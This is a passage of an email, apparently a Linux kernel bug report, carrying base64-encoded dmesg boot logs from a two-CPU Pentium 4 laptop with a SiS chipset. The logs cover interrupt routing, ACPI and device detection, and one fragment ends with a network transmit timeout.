Y2lfaGNkIDAwMDA6MDA6MDMuMTogaXJxIDEwLCBwY2kgbWVtIGY5ZjVhMDAwDQpvaGNpX2hjZCAw MDAwOjAwOjAzLjE6IG5ldyBVU0IgYnVzIHJlZ2lzdGVyZWQsIGFzc2lnbmVkIGJ1cyBudW1iZXIg Mw0KaHViIDMtMDoxLjA6IFVTQiBodWIgZm91bmQNCmh1YiAzLTA6MS4wOiAyIHBvcnRzIGRldGVj dGVkDQpvaGNpX2hjZCAwMDAwOjAwOjAzLjI6IE9IQ0kgSG9zdCBDb250cm9sbGVyDQpvaGNpX2hj ZCAwMDAwOjAwOjAzLjI6IGlycSAxMSwgcGNpIG1lbSBmOWY1YzAwMA0Kb2hjaV9oY2QgMDAwMDow MDowMy4yOiBuZXcgVVNCIGJ1cyByZWdpc3RlcmVkLCBhc3NpZ25lZCBidXMgbnVtYmVyIDQNCmh1 YiA0LTA6MS4wOiBVU0IgaHViIGZvdW5kDQpodWIgNC0wOjEuMDogMiBwb3J0cyBkZXRlY3RlZA0K b2hjaTEzOTQ6ICRSZXY6IDEwOTcgJCBCZW4gQ29sbGlucyA8YmNvbGxpbnNAZGViaWFuLm9yZz4N Cm9oY2kxMzk0OiBmdy1ob3N0MDogVW5leHBlY3RlZCBQQ0kgcmVzb3VyY2UgbGVuZ3RoIG9mIDEw MDAhDQpvaGNpMTM5NDogZnctaG9zdDA6IE9IQ0ktMTM5NCAxLjAgKFBDSSk6IElSUT1bMTBdICBN TUlPPVtkZmZlOTAwMC1kZmZlOTdmZl0gIE1heCBQYWNrZXQ9WzIwNDhdDQpMaW51eCBhZ3BnYXJ0 IGludGVyZmFjZSB2MC4xMDAgKGMpIERhdmUgSm9uZXMNCmFncGdhcnQ6IERldGVjdGVkIFNpUyA2 NDggY2hpcHNldA0KYWdwZ2FydDogTWF4aW11bSBtYWluIG1lbW9yeSB0byB1c2UgZm9yIGFncCBt ZW1vcnk6IDgxNk0NCmFncGdhcnQ6IEFHUCBhcGVydHVyZSBpcyAyNTZNIEAgMHhlMDAwMDAwMA0K aWVlZTEzOTQ6IEhvc3QgYWRkZWQ6IElEOkJVU1swLTAwOjEwMjNdICBHVUlEWzAwMDMwZDUzNzY2 MDI2NmNdDQpodWIgMi0wOjEuMDogbmV3IFVTQiBkZXZpY2Ugb24gcG9ydCAxLCBhc3NpZ25lZCBh ZGRyZXNzIDINCmRyaXZlcnMvdXNiL2NvcmUvdXNiLmM6IHJlZ2lzdGVyZWQgbmV3IGRyaXZlciBo aWQNCmRyaXZlcnMvdXNiL2lucHV0L2hpZC1jb3JlLmM6IHYyLjA6VVNCIEhJRCBjb3JlIGRyaXZl cg0KaW5wdXQ6IFVTQiBISUQgdjEuMTAgTW91c2UgW0xvZ2l0ZWNoIFVTQi1QUy8yIE9wdGljYWwg TW91c2VdIG9uIHVzYi0wMDAwOjAwOjAzLjAtMQ0KaHViIDMtMDoxLjA6IG5ldyBVU0IgZGV2aWNl IG9uIHBvcnQgMiwgYXNzaWduZWQgYWRkcmVzcyAyDQppbnB1dDogVVNCIEhJRCB2MS4xMCBNb3Vz ZSBbQ3lwcmVzcyBTZW1pY29uZHVjdG9yIFVTQiBNdWx0aSBSZW1vdGUgQ29udHJvbGxlcl0gb24g dXNiLTAwMDA6MDA6MDMuMS0yDQpISUQgZGV2aWNlIG5vdCBjbGFpbWVkIGJ5IGlucHV0IG9yIGhp ZGRldg0KaGlkOiBwcm9iZSBvZiAzLTI6MS4xIGZhaWxlZCB3aXRoIGVycm9yIC01DQpwYXJwb3J0 MDogUEMtc3R5bGUgYXQgMHgyNzggKDB4Njc4KSBbUENTUFAsVFJJU1RBVEUsRVBQXQ0KcGFycG9y dDA6IGlycSA1IGRldGVjdGVkDQpwYXJwb3J0MDogY3BwX2RhaXN5OiBhYTU1MDBmZigzOCkNCnBh cnBvcnQwOiBhc3NpZ25fYWRkcnM6IGFhNTUwMGZmKDM4KQ0KcGFycG9ydDA6IGNwcF9kYWlzeTog YWE1NTAwZmYoMzgpDQpwYXJwb3J0MDogYXNzaWduX2FkZHJzOiBhYTU1MDBmZigzOCkNCmxwMDog dXNpbmcgcGFycG9ydDAgKHBvbGxpbmcpLg0KTkVUOiBSZWdpc3RlcmVkIHByb3RvY29sIGZhbWls eSAxMA0KRGlzYWJsZWQgUHJpdmFjeSBFeHRlbnNpb25zIG9uIGRldmljZSBjMDM1MzE4MChsbykN CklQdjYgb3ZlciBJUHY0IHR1bm5lbGluZyBkcml2ZXINCjA6IE5WUk06IG5vdCB1c2luZyBOVkFH UCwgQUdQR0FSVCBpcyBsb2FkZWQhIQ0KYXRrYmQuYzogVW5rbm93biBrZXkgcmVsZWFzZWQgKHRy YW5zbGF0ZWQgc2V0IDIsIGNvZGUgMHg3YSBvbiBpc2EwMDYwL3NlcmlvMCkuDQphdGtiZC5jOiBV bmtub3duIGtleSByZWxlYXNlZCAodHJhbnNsYXRlZCBzZXQgMiwgY29kZSAweDdhIG9uIGlzYTAw NjAvc2VyaW8wKS4NCmV0aDA6IG5vIElQdjYgcm91dGVycyBwcmVzZW50DQpwa3RnZW4uYzogdjEu MzogUGFja2V0IEdlbmVyYXRvciBmb3IgcGFja2V0IHBlcmZvcm1hbmNlIHRlc3RpbmcuDQpORVRE RVYgV0FUQ0hET0c6IGV0aDA6IHRyYW5zbWl0IHRpbWVkIG91dA0K --=-dz+BR0MQyEpTpwYPNQoK Content-Disposition: attachment; filename=dmesg.patched.two_cpu Content-Type: text/plain; name=dmesg.patched.two_cpu; charset=ANSI_X3.4-1968 Content-Transfer-Encoding: base64 IDBrIGhpZ2htZW0pDQpDaGVja2luZyBpZiB0aGlzIHByb2Nlc3NvciBob25vdXJzIHRoZSBXUCBi aXQgZXZlbiBpbiBzdXBlcnZpc29yIG1vZGUuLi4gT2suDQpDYWxpYnJhdGluZyBkZWxheSBsb29w Li4uIDU1MzcuNzkgQm9nb01JUFMNCkRlbnRyeSBjYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDEz MTA3MiAob3JkZXI6IDcsIDUyNDI4OCBieXRlcykNCklub2RlLWNhY2hlIGhhc2ggdGFibGUgZW50 cmllczogNjU1MzYgKG9yZGVyOiA2LCAyNjIxNDQgYnl0ZXMpDQpNb3VudC1jYWNoZSBoYXNoIHRh YmxlIGVudHJpZXM6IDUxMiAob3JkZXI6IDAsIDQwOTYgYnl0ZXMpDQpDUFU6ICAgICBBZnRlciBn ZW5lcmljIGlkZW50aWZ5LCBjYXBzOiBiZmViZmJmZiAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAw MA0KQ1BVOiAgICAgQWZ0ZXIgdmVuZG9yIGlkZW50aWZ5LCBjYXBzOiBiZmViZmJmZiAwMDAwMDAw MCAwMDAwMDAwMCAwMDAwMDAwMA0KQ1BVOiBUcmFjZSBjYWNoZTogMTJLIHVvcHMsIEwxIEQgY2Fj aGU6IDhLDQpDUFU6IEwyIGNhY2hlOiA1MTJLDQpDUFU6IFBoeXNpY2FsIFByb2Nlc3NvciBJRDog MA0KQ1BVOiAgICAgQWZ0ZXIgYWxsIGluaXRzLCBjYXBzOiBiZmViZmJmZiAwMDAwMDAwMCAwMDAw MDAwMCAwMDAwMDA4MA0KSW50ZWwgbWFjaGluZSBjaGVjayBhcmNoaXRlY3R1cmUgc3VwcG9ydGVk Lg0KSW50ZWwgbWFjaGluZSBjaGVjayByZXBvcnRpbmcgZW5hYmxlZCBvbiBDUFUjMC4NCkNQVSMw OiBJbnRlbCBQNC9YZW9uIEV4dGVuZGVkIE1DRSBNU1JzICgxMikgYXZhaWxhYmxlDQpFbmFibGlu ZyBmYXN0IEZQVSBzYXZlIGFuZCByZXN0b3JlLi4uIGRvbmUuDQpFbmFibGluZyB1bm1hc2tlZCBT SU1EIEZQVSBleGNlcHRpb24gc3VwcG9ydC4uLiBkb25lLg0KQ2hlY2tpbmcgJ2hsdCcgaW5zdHJ1 Y3Rpb24uLi4gT0suDQpQT1NJWCBjb25mb3JtYW5jZSB0ZXN0aW5nIGJ5IFVOSUZJWA0KQ1BVMDog SW50ZWwoUikgUGVudGl1bShSKSA0IENQVSAyLjgwR0h6IHN0ZXBwaW5nIDA5DQpwZXItQ1BVIHRp bWVzbGljZSBjdXRvZmY6IDE0NjIuNjYgdXNlY3MuDQp0YXNrIG1pZ3JhdGlvbiBjYWNoZSBkZWNh eSB0aW1lb3V0OiAyIG1zZWNzLg0KZW5hYmxlZCBFeHRJTlQgb24gQ1BVIzANCkVTUiB2YWx1ZSBi ZWZvcmUgZW5hYmxpbmcgdmVjdG9yOiAwMDAwMDA4MA0KRVNSIHZhbHVlIGFmdGVyIGVuYWJsaW5n IHZlY3RvcjogMDAwMDAwMDANCkJvb3RpbmcgcHJvY2Vzc29yIDEvMSBlaXAgMjAwMA0KSW5pdGlh bGl6aW5nIENQVSMxDQptYXNrZWQgRXh0SU5UIG9uIENQVSMxDQpFU1IgdmFsdWUgYmVmb3JlIGVu YWJsaW5nIHZlY3RvcjogMDAwMDAwMDANCkVTUiB2YWx1ZSBhZnRlciBlbmFibGluZyB2ZWN0b3I6 IDAwMDAwMDAwDQpDYWxpYnJhdGluZyBkZWxheSBsb29wLi4uIDU1ODYuOTQgQm9nb01JUFMNCkNQ VTogICAgIEFmdGVyIGdlbmVyaWMgaWRlbnRpZnksIGNhcHM6IGJmZWJmYmZmIDAwMDAwMDAwIDAw MDAwMDAwIDAwMDAwMDAwDQpDUFU6ICAgICBBZnRlciB2ZW5kb3IgaWRlbnRpZnksIGNhcHM6IGJm ZWJmYmZmIDAwMDAwMDAwIDAwMDAwMDAwIDAwMDAwMDAwDQpDUFU6IFRyYWNlIGNhY2hlOiAxMksg dW9wcywgTDEgRCBjYWNoZTogOEsNCkNQVTogTDIgY2FjaGU6IDUxMksNCkNQVTogUGh5c2ljYWwg UHJvY2Vzc29yIElEOiAwDQpDUFU6ICAgICBBZnRlciBhbGwgaW5pdHMsIGNhcHM6IGJmZWJmYmZm IDAwMDAwMDAwIDAwMDAwMDAwIDAwMDAwMDgwDQpJbnRlbCBtYWNoaW5lIGNoZWNrIGFyY2hpdGVj dHVyZSBzdXBwb3J0ZWQuDQpJbnRlbCBtYWNoaW5lIGNoZWNrIHJlcG9ydGluZyBlbmFibGVkIG9u IENQVSMxLg0KQ1BVIzE6IEludGVsIFA0L1hlb24gRXh0ZW5kZWQgTUNFIE1TUnMgKDEyKSBhdmFp bGFibGUNCkNQVTE6IEludGVsKFIpIFBlbnRpdW0oUikgNCBDUFUgMi44MEdIeiBzdGVwcGluZyAw OQ0KVG90YWwgb2YgMiBwcm9jZXNzb3JzIGFjdGl2YXRlZCAoMTExMjQuNzMgQm9nb01JUFMpLg0K Y3B1X3NpYmxpbmdfbWFwWzBdID0gMQ0KY3B1X3NpYmxpbmdfbWFwWzFdID0gMA0KRU5BQkxJTkcg SU8tQVBJQyBJUlFzDQppbml0IElPX0FQSUMgSVJRcw0KIElPLUFQSUMgKGFwaWNpZC1waW4pIDIt MCwgMi0xNiwgMi0xNywgMi0xOCwgMi0xOSwgMi0yMCwgMi0yMSwgMi0yMiwgMi0yMyBub3QgY29u bmVjdGVkLg0KLi5USU1FUjogdmVjdG9yPTB4MzEgcGluMT0yIHBpbjI9LTENCm51bWJlciBvZiBN UCBJUlEgc291cmNlczogMTUuDQpudW1iZXIgb2YgSU8tQVBJQyAjMiByZWdpc3RlcnM6IDI0Lg0K dGVzdGluZyB0aGUgSU8gQVBJQy4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uDQpJTyBBUElDICMyLi4u Li4uDQouLi4uIHJlZ2lzdGVyICMwMDogMDIwMDAwMDANCi4uLi4uLi4gICAgOiBwaHlzaWNhbCBB UElDIGlkOiAwMg0KLi4uLi4uLiAgICA6IERlbGl2ZXJ5IFR5cGU6IDANCi4uLi4uLi4gICAgOiBM VFMgICAgICAgICAgOiAwDQouLi4uIHJlZ2lzdGVyICMwMTogMDAxNzgwMDINCi4uLi4uLi4gICAg IDogbWF4IHJlZGlyZWN0aW9uIGVudHJpZXM6IDAwMTcNCi4uLi4uLi4gICAgIDogUFJRIGltcGxl bWVudGVkOiAxDQouLi4uLi4uICAgICA6IElPIEFQSUMgdmVyc2lvbjogMDAwMg0KLi4uLiBJUlEg cmVkaXJlY3Rpb24gdGFibGU6DQogTlIgTG9nIFBoeSBNYXNrIFRyaWcgSVJSIFBvbCBTdGF0IERl c3QgRGVsaSBWZWN0OiAgIA0KIDAwIDAwMCAwMCAgMSAgICAwICAgIDAgICAwICAgMCAgICAwICAg IDAgICAgMDANCiAwMSAwMDEgMDEgIDAgICAgMCAgICAwICAgMCAgIDAgICAgMSAgICAxICAgIDM5 DQogMDIgMDAxIDAxICAwICAgIDAgICAgMCAgIDAgICAwICAgIDEgICAgMSAgICAzMQ0KIDAzIDAw MSAwMSAgMCAgICAwICAgIDAgICAwICAgMCAgICAxICAgIDEgICAgNDENCiAwNCAwMDEgMDEgIDAg ICAgMCAgICAwICAgMCAgIDAgICAgMSAgICAxICAgIDQ5DQogMDUgMDAxIDAxICAwICAgIDAgICAg MCAgIDAgICAwICAgIDEgICAgMSAgICA1MQ0KIDA2IDAwMSAwMSAgMCAgICAwICAgIDAgICAwICAg MCAgICAxICAgIDEgICAgNTkNCiAwNyAwMDEgMDEgIDAgICAgMCAgICAwICAgMCAgIDAgICAgMSAg ICAxICAgIDYxDQogMDggMDAxIDAxICAwICAgIDAgICAgMCAgIDAgICAwICAgIDEgICAgMSAgICA2 OQ0KIDA5IDAwMSAwMSAgMCAgICAwICAgIDAgICAwICAgMCAgICAxICAgIDEgICAgNzENCiAwYSAw MDEgMDEgIDEgICAgMSAgICAwICAgMSAgIDAgICAgMSAgICAxICAgIDc5DQogMGIgMDAxIDAxICAw ICAgIDAgICAgMCAgIDAgICAwICAgIDEgICAgMSAgICA4MQ0KIDBjIDAwMSAwMSAgMCAgICAwICAg IDAgICAwICAgMCAgICAxICAgIDEgICAgODkNCiAwZCAwMDEgMDEgIDAgICAgMCAgICAwICAgMCAg IDAgICAgMSAgICAxICAgIDkxDQogMGUgMDAxIDAxICAwICAgIDAgICAgMCAgIDAgICAwICAgIDEg ICAgMSAgICA5OQ0KIDBmIDAwMSAwMSAgMCAgICAwICAgIDAgICAwICAgMCAgICAxICAgIDEgICAg QTENCiAxMCAwMDAgMDAgIDEgICAgMCAgICAwICAgMCAgIDAgICAgMCAgICAwICAgIDAwDQogMTEg MDAwIDAwICAxICAgIDAgICAgMCAgIDAgICAwICAgIDAgICAgMCAgICAwMA0KIDEyIDAwMCAwMCAg MSAgICAwICAgIDAgICAwICAgMCAgICAwICAgIDAgICAgMDANCiAxMyAwMDAgMDAgIDEgICAgMCAg ICAwICAgMCAgIDAgICAgMCAgICAwICAgIDAwDQogMTQgMDAwIDAwICAxICAgIDAgICAgMCAgIDAg ICAwICAgIDAgICAgMCAgICAwMA0KIDE1IDAwMCAwMCAgMSAgICAwICAgIDAgICAwICAgMCAgICAw ICAgIDAgICAgMDANCiAxNiAwMDAgMDAgIDEgICAgMCAgICAwICAgMCAgIDAgICAgMCAgICAwICAg IDAwDQogMTcgMDAwIDAwICAxICAgIDAgICAgMCAgIDAgICAwICAgIDAgICAgMCAgICAwMA0KSVJR IHRvIHBpbiBtYXBwaW5nczoNCklSUTAgLT4gMDoyDQpJUlExIC0+IDA6MQ0KSVJRMyAtPiAwOjMN CklSUTQgLT4gMDo0DQpJUlE1IC0+IDA6NQ0KSVJRNiAtPiAwOjYNCklSUTcgLT4gMDo3DQpJUlE4 IC0+IDA6OA0KSVJROSAtPiAwOjkNCklSUTEwIC0+IDA6MTANCklSUTExIC0+IDA6MTENCklSUTEy IC0+IDA6MTINCklSUTEzIC0+IDA6MTMNCklSUTE0IC0+IDA6MTQNCklSUTE1IC0+IDA6MTUNCi4u Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLiBkb25lLg0KVXNpbmcgbG9jYWwgQVBJ QyB0aW1lciBpbnRlcnJ1cHRzLg0KY2FsaWJyYXRpbmcgQVBJQyB0aW1lciAuLi4NCi4uLi4uIENQ VSBjbG9jayBzcGVlZCBpcyAyNzk5LjA3MTEgTUh6Lg0KLi4uLi4gaG9zdCBidXMgY2xvY2sgc3Bl ZWQgaXMgMTk5LjA5NzkgTUh6Lg0KY2hlY2tpbmcgVFNDIHN5bmNocm9uaXphdGlvbiBhY3Jvc3Mg MiBDUFVzOiBwYXNzZWQuDQpTdGFydGluZyBtaWdyYXRpb24gdGhyZWFkIGZvciBjcHUgMA0KQnJp bmdpbmcgdXAgMQ0KQ1BVIDEgSVMgTk9XIFVQIQ0KU3RhcnRpbmcgbWlncmF0aW9uIHRocmVhZCBm b3IgY3B1IDENCkNQVVMgZG9uZSAyDQpORVQ6IFJlZ2lzdGVyZWQgcHJvdG9jb2wgZmFtaWx5IDE2 DQpQQ0k6IFBDSSBCSU9TIHJldmlzaW9uIDIuMTAgZW50cnkgYXQgMHhmMDAzMSwgbGFzdCBidXM9 MQ0KUENJOiBVc2luZyBjb25maWd1cmF0aW9uIHR5cGUgMQ0KbXRycjogdjIuMCAoMjAwMjA1MTkp DQpBQ1BJOiBTdWJzeXN0ZW0gcmV2aXNpb24gMjAwMzEwMDINCklPQVBJQ1swXTogU2V0IFBDSSBy b3V0aW5nIGVudHJ5ICgyLTEwIC0+IDB4NzkgLT4gSVJRIDEwIE1vZGU6MSBBY3RpdmU6MSkNCkFD UEk6IEludGVycHJldGVyIGVuYWJsZWQNCkFDUEk6IFVzaW5nIElPQVBJQyBmb3IgaW50ZXJydXB0 IHJvdXRpbmcNCkFDUEk6IFBDSSBSb290IEJyaWRnZSBbUENJMF0gKDAwOjAwKQ0KUENJOiBQcm9i aW5nIFBDSSBoYXJkd2FyZSAoYnVzIDAwKQ0KVW5jb3ZlcmluZyBTSVM5NjMgdGhhdCBoaWQgYXMg YSBTSVM1MDMgKGNvbXBhdGlibGU9MSkNCkVuYWJsaW5nIFNpUyA5NnggU01CdXMuDQpBQ1BJOiBQ Q0kgSW50ZXJydXB0IFJvdXRpbmcgVGFibGUgW1xfU0JfLlBDSTAuX1BSVF0NCkFDUEk6IEVtYmVk ZGVkIENvbnRyb2xsZXIgW0VDMF0gKGdwZSAxMSkNCkFDUEk6IFBDSSBJbnRlcnJ1cHQgTGluayBb TE5LQV0gKElSUXMgMyA0IDUgNyAxMCAqMTEgMTIgMTQgMTUpDQpBQ1BJOiBQQ0kgSW50ZXJydXB0 IExpbmsgW0xOS0JdIChJUlFzIDMgNCA1IDcgKjEwIDExIDEyIDE0IDE1KQ0KQUNQSTogUENJIElu dGVycnVwdCBMaW5rIFtMTktDXSAoSVJRcyAzIDQgNSA3IDEwICoxMSAxMiAxNCAxNSkNCkFDUEk6 IFBDSSBJbnRlcnJ1cHQgTGluayBbTE5LRF0gKElSUXMgKjMgNCA1IDcgMTAgMTEgMTIgMTQgMTUp DQpBQ1BJOiBQQ0kgSW50ZXJydXB0IExpbmsgW0xOS0VdIChJUlFzIDMgNCA1IDcgMTAgKjExIDEy IDE0IDE1KQ0KQUNQSTogUENJIEludGVycnVwdCBMaW5rIFtMTktGXSAoSVJRcyAzIDQgNSA3ICox MCAxMSAxMiAxNCAxNSkNCkFDUEk6IFBDSSBJbnRlcnJ1cHQgTGluayBbTE5LR10gKElSUXMgMyA0 IDUgNyAxMCAqMTEgMTIgMTQgMTUpDQpBQ1BJOiBQQ0kgSW50ZXJydXB0IExpbmsgW0xOS0hdIChJ UlFzIDMgNCA1IDcgMTAgKjExIDEyIDE0IDE1KQ0KTGludXggUGx1ZyBhbmQgUGxheSBTdXBwb3J0 IHYwLjk3IChjKSBBZGFtIEJlbGF5DQpTQ1NJIHN1YnN5c3RlbSBpbml0aWFsaXplZA0KSU9BUElD WzBdOiBTZXQgUENJIHJvdXRpbmcgZW50cnkgKDItMTYgLT4gMHhhOSAtPiBJUlEgMTYgTW9kZTox IEFjdGl2ZToxKQ0KMDA6MDA6MDJbQV0gLT4gMi0xNiAtPiBJUlEgMTYNCklPQVBJQ1swXTogU2V0 IFBDSSByb3V0aW5nIGVudHJ5ICgyLTE3IC0+IDB4YjEgLT4gSVJRIDE3IE1vZGU6MSBBY3RpdmU6 MSkNCjAwOjAwOjAyW0JdIC0+IDItMTcgLT4gSVJRIDE3DQpJT0FQSUNbMF06IFNldCBQQ0kgcm91 dGluZyBlbnRyeSAoMi0xOCAtPiAweGI5IC0+IElSUSAxOCBNb2RlOjEgQWN0aXZlOjEpDQowMDow MDowMltDXSAtPiAyLTE4IC0+IElSUSAxOA0KSU9BUElDWzBdOiBTZXQgUENJIHJvdXRpbmcgZW50 cnkgKDItMTkgLT4gMHhjMSAtPiBJUlEgMTkgTW9kZToxIEFjdGl2ZToxKQ0KMDA6MDA6MDJbRF0g LT4gMi0xOSAtPiBJUlEgMTkNCklPQVBJQ1swXTogU2V0IFBDSSByb3V0aW5nIGVudHJ5ICgyLTIz IC0+IDB4YzkgLT4gSVJRIDIzIE1vZGU6MSBBY3RpdmU6MSkNCjAwOjAwOjAzW0RdIC0+IDItMjMg LT4gSVJRIDIzDQpJT0FQSUNbMF06IFNldCBQQ0kgcm91dGluZyBlbnRyeSAoMi0yMCAtPiAweGQx IC0+IElSUSAyMCBNb2RlOjEgQWN0aXZlOjEpDQowMDowMDowM1tBXSAtPiAyLTIwIC0+IElSUSAy MA0KSU9BUElDWzBdOiBTZXQgUENJIHJvdXRpbmcgZW50cnkgKDItMjEgLT4gMHhkOSAtPiBJUlEg MjEgTW9kZToxIEFjdGl2ZToxKQ0KMDA6MDA6MDNbQl0gLT4gMi0yMSAtPiBJUlEgMjENCklPQVBJ Q1swXTogU2V0IFBDSSByb3V0aW5nIGVudHJ5ICgyLTIyIC0+IDB4ZTEgLT4gSVJRIDIyIE1vZGU6 MSBBY3RpdmU6MSkNCjAwOjAwOjAzW0NdIC0+IDItMjIgLT4gSVJRIDIyDQpQaW4gMi0xOSBhbHJl YWR5IHByb2dyYW1tZWQNClBpbiAyLTE2IGFscmVhZHkgcHJvZ3JhbW1lZA0KUGluIDItMTcgYWxy ZWFkeSBwcm9ncmFtbWVkDQpQaW4gMi0xOCBhbHJlYWR5IHByb2dyYW1tZWQNClBpbiAyLTE5IGFs cmVhZHkgcHJvZ3JhbW1lZA0KUGluIDItMTcgYWxyZWFkeSBwcm9ncmFtbWVkDQpQaW4gMi0xOCBh bHJlYWR5IHByb2dyYW1tZWQNClBpbiAyLTE5IGFscmVhZHkgcHJvZ3JhbW1lZA0KUGluIDItMTkg YWxyZWFkeSBwcm9ncmFtbWVkDQpQaW4gMi0xNyBhbHJlYWR5IHByb2dyYW1tZWQNClBDSTogVXNp bmcgQUNQSSBmb3IgSVJRIHJvdXRpbmcNClBDSTogaWYgeW91IGV4cGVyaWVuY2UgcHJvYmxlbXMs IHRyeSB1c2luZyBvcHRpb24gJ3BjaT1ub2FjcGknIG9yIGV2ZW4gJ2FjcGk9b2ZmJw0KdmVzYWZi OiBmcmFtZWJ1ZmZlciBhdCAweGMwMDAwMDAwLCBtYXBwZWQgdG8gMHhmODgwYzAwMCwgc2l6ZSAx NjM4NGsNCnZlc2FmYjogbW9kZSBpcyAxMDI0eDc2OHgxNiwgbGluZWxlbmd0aD0yMDQ4LCBwYWdl cz0xDQp2ZXNhZmI6IHByb3RlY3RlZCBtb2RlIGludGVyZmFjZSBpbmZvIGF0IGMwMDA6ZTU5MA0K dmVzYWZiOiBzY3JvbGxpbmc6IHJlZHJhdw0KdmVzYWZiOiBkaXJlY3Rjb2xvcjogc2l6ZT0wOjU6 Njo1LCBzaGlmdD0wOjExOjU6MA0KZmIwOiBWRVNBIFZHQSBmcmFtZSBidWZmZXIgZGV2aWNlDQpN YWNoaW5lIGNoZWNrIGV4Y2VwdGlvbiBwb2xsaW5nIHRpbWVyIHN0YXJ0ZWQuDQpTdGFydGluZyBi YWxhbmNlZF9pcnENCmRldmZzOiB2MS4yMiAoMjAwMjEwMTMpIFJpY2hhcmQgR29vY2ggKHJnb29j aEBhdG5mLmNzaXJvLmF1KQ0KZGV2ZnM6IGJvb3Rfb3B0aW9uczogMHgwDQpJbnN0YWxsaW5nIGtu ZnNkIChjb3B5cmlnaHQgKEMpIDE5OTYgb2tpckBtb25hZC5zd2IuZGUpLg0KSW5pdGlhbGl6aW5n IENyeXB0b2dyYXBoaWMgQVBJDQpBQ1BJOiBBQyBBZGFwdGVyIFtBQzBdIChvbi1saW5lKQ0KQUNQ STogQmF0dGVyeSBTbG90IFtCQVQwXSAoYmF0dGVyeSBwcmVzZW50KQ0KQUNQSTogUG93ZXIgQnV0 dG9uIChGRikgW1BXUkZdDQpBQ1BJOiBMaWQgU3dpdGNoIFtMSURdDQpBQ1BJOiBTbGVlcCBCdXR0 b24gKENNKSBbU0xQQl0NCkFDUEk6IFByb2Nlc3NvciBbQ1BVMV0gKHN1cHBvcnRzIEMxLCA4IHRo cm90dGxpbmcgc3RhdGVzKQ0KQUNQSTogUHJvY2Vzc29yIFtDUFUyXSAoc3VwcG9ydHMgQzEsIDgg dGhyb3R0bGluZyBzdGF0ZXMpDQpBQ1BJOiBUaGVybWFsIFpvbmUgW1RIUk1dICg3NSBDKQ0KQ29u c29sZTogc3dpdGNoaW5nIHRvIGNvbG91ciBmcmFtZSBidWZmZXIgZGV2aWNlIDEyOHg0OA0KcHR5 OiAyNTYgVW5peDk4IHB0eXMgY29uZmlndXJlZA0KU2VyaWFsOiA4MjUwLzE2NTUwIGRyaXZlciAk UmV2aXNpb246IDEuOTAgJCA4IHBvcnRzLCBJUlEgc2hhcmluZyBkaXNhYmxlZA0KdHR5UzAgYXQg SS9PIDB4M2Y4IChpcnEgPSA0KSBpcyBhIE5TMTY1NTBBDQpVbmlmb3JtIE11bHRpLVBsYXRmb3Jt IEUtSURFIGRyaXZlciBSZXZpc2lvbjogNy4wMGFscGhhMg0KaWRlOiBBc3N1bWluZyAzM01IeiBz eXN0ZW0gYnVzIHNwZWVkIGZvciBQSU8gbW9kZXM7IG92ZXJyaWRlIHdpdGggaWRlYnVzPXh4DQpT SVM1NTEzOiBJREUgY29udHJvbGxlciBhdCBQQ0kgc2xvdCAwMDAwOjAwOjAyLjUNClNJUzU1MTM6 IGNoaXBzZXQgcmV2aXNpb24gMA0KU0lTNTUxMzogbm90IDEwMCUgbmF0aXZlIG1vZGU6IHdpbGwg cHJvYmUgaXJxcyBsYXRlcg0KU0lTNTUxMzogU2lTIDk2Mi85NjMgTXVUSU9MIElERSBVRE1BMTMz IGNvbnRyb2xsZXINCiAgICBpZGUwOiBCTS1ETUEgYXQgMHhmZmEwLTB4ZmZhNywgQklPUyBzZXR0 aW5nczogaGRhOkRNQSwgaGRiOkRNQQ0KICAgIGlkZTE6IEJNLURNQSBhdCAweGZmYTgtMHhmZmFm LCBCSU9TIHNldHRpbmdzOiBoZGM6RE1BLCBoZGQ6RE1BDQpoZGE6IEhUUzcyNjA2ME05QVQwMCwg QVRBIERJU0sgZHJpdmUNClVzaW5nIGFudGljaXBhdG9yeSBpbyBzY2hlZHVsZXINCmlkZTAgYXQg MHgxZjAtMHgxZjcsMHgzZjYgb24gaXJxIDE0DQpoZGM6IFFTSSBDRC1SVy9EVkQtUk9NIFNCVzI0 MlUsIEFUQVBJIENEL0RWRC1ST00gZHJpdmUNCmlkZTEgYXQgMHgxNzAtMHgxNzcsMHgzNzYgb24g aXJxIDE1DQpoZGE6IG1heCByZXF1ZXN0IHNpemU6IDEwMjRLaUINCmhkYTogMTE3MjEwMjQwIHNl Y3RvcnMgKDYwMDExIE1CKSB3Lzc4NzdLaUIgQ2FjaGUsIENIUz0xNjM4My8yNTUvNjMsIFVETUEo MzMpDQogL2Rldi9pZGUvaG9zdDAvYnVzMC90YXJnZXQwL2x1bjA6IHAxIHAyIHAzIHA0IDwgcDUg cDYgPg0KQ29uc29sZTogc3dpdGNoaW5nIHRvIGNvbG91ciBmcmFtZSBidWZmZXIgZGV2aWNlIDEy OHg0OA0KbWljZTogUFMvMiBtb3VzZSBkZXZpY2UgY29tbW9uIGZvciBhbGwgbWljZQ0KaTgwNDIu YzogRGV0ZWN0ZWQgYWN0aXZlIG11bHRpcGxleGluZyBjb250cm9sbGVyLCByZXYgMS4wLg0Kc2Vy aW86IGk4MDQyIEFVWDAgcG9ydCBhdCAweDYwLDB4NjQgaXJxIDEyDQpzZXJpbzogaTgwNDIgQVVY MSBwb3J0IGF0IDB4NjAsMHg2NCBpcnEgMTINClN5bmFwdGljcyBUb3VjaHBhZCwgbW9kZWw6IDEN CiBGaXJtd2FyZTogNS45DQogMTgwIGRlZ3JlZSBtb3VudGVkIHRvdWNocGFkDQogU2Vuc29yOiAz NQ0KIG5ldyBhYnNvbHV0ZSBwYWNrZXQgZm9ybWF0DQogVG91Y2hwYWQgaGFzIGV4dGVuZGVkIGNh cGFiaWxpdHkgYml0cw0KIC0+IG11bHRpZmluZ2VyIGRldGVjdGlvbg0KIC0+IHBhbG0gZGV0ZWN0 aW9uDQppbnB1dDogU3luUFMvMiBTeW5hcHRpY3MgVG91Y2hQYWQgb24gaXNhMDA2MC9zZXJpbzIN CnNlcmlvOiBpODA0MiBBVVgyIHBvcnQgYXQgMHg2MCwweDY0IGlycSAxMg0Kc2VyaW86IGk4MDQy IEFVWDMgcG9ydCBhdCAweDYwLDB4NjQgaXJxIDEyDQpzZXJpbzogaTgwNDIgS0JEIHBvcnQgYXQg MHg2MCwweDY0IGlycSAxDQppbnB1dDogQVQgVHJhbnNsYXRlZCBTZXQgMiBrZXlib2FyZCBvbiBp 